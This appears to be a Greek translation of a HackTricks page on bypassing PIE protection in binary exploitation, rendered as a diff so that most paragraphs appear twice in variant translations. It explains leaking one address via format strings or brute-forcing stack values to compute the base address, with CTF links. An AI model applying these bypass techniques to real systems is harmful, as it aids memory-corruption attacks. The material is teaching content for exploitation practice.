Το κόλπο για την εκμετάλλευση αυτών των δυαδικών βρίσκεται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι μετατοπίσεις μεταξύ τμημάτων του προγράμματος παραμένουν ίδιες ακόμα κι αν οι απόλυτες τοποθεσίες αλλάζουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μια διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις με format string. Αφού αποκτήσετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές μετατοπίσεις** τους.
Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεστε μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφής συμβολοσειράς. Μόλις έχετε μία διεύθυνση, μπορείτε να υπολογίσετε άλλες με τις **σταθερές αποστάσεις** τους.
Ένα χρήσιμο υπόδειγμα στην εκμετάλλευση των δυαδικών PIE είναι ότι η **βασική διεύθυνσή τους τελειώνει συνήθως σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαιοποίησης, μεγέθους 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι ένα κρίσιμο **έλεγχος αν ένα εκμεταλλευτικό δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας εάν έχει εντοπιστεί η σωστή βασική διεύθυνση.\
Ή μπορείτε να χρησιμοποιήσετε αυτό για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στο **`0x649e1024`** ξέρετε ότι η **βασική διεύθυνση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις μετατοπίσεις** των λειτουργιών και των τοποθεσιών.
Μια χρήσιμη ένδειξη στην εκμετάλλευση δυαδικών αρχείων PIE είναι ότι η **βάση τους συνήθως τελειώνει σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαίας κατανομής, με μέγεθος 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι μια κρίσιμη **έλεγχος αν μια εκμετάλλευση δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας αν έχει προσδιοριστεί η σωστή βάση διεύθυνσης.\
Ή μπορείτε να το χρησιμοποιήσετε για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στη **`0x649e1024`** γνωρίζετε ότι η **βάση διεύθυνση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις αποστάσεις** των συναρτήσεων και των τοποθεσιών.
## Παρακάμψεις
## Bypasses
Για να παρακάμψετε το PIE χρειάζεται να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού, υπάρχουν μερικές επιλογές για αυτό:
Για να παρακάμψετε το PIE είναι απαραίτητο να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό:
* **Απενεργοποιημένο ASLR**: Εάν το ASLR είναι απενεργοποιημένο ένα δυαδικό που έχει μεταγλωττιστεί με PIE θα φορτώνεται πάντα **στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στον ίδιο χώρο.
* Να **σας δοθεί** η διαρροή (συνηθισμένη σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Δοκιμάστε όλες τις τιμές του EBP και του EIP** στη στοίβα μέχρι να διαρρεύσετε τις σωστές:
* **Απενεργοποιημένο ASLR**: Αν το ASLR είναι απενεργοποιημένο, ένα δυαδικό αρχείο που έχει μεταγλωττιστεί με PIE θα φορτωθεί πάντα **στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στο ίδιο μέρος.
* Να **δοθεί** η διαρροή (συνηθισμένο σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Brute-force EBP και EIP τιμές** στη στοίβα μέχρι να διαρρεύσετε τις σωστές:
{% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %}
* Χρησιμοποιήστε μια ευπάθεια ανάγνωσης όπως η [**format string**](../../format-strings/) για να διαρρεύσετε μια διεύθυνση του δυαδικού (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να πάρετε τη βάση του δυαδικού και να χρησιμοποιήσετε μετατοπίσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
* Χρησιμοποιήστε μια ευπάθεια αυθαίρετης ανάγνωσης όπως η [**μορφή συμβολοσειράς**](../../format-strings/) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού αρχείου και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Αναφορές
## References
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more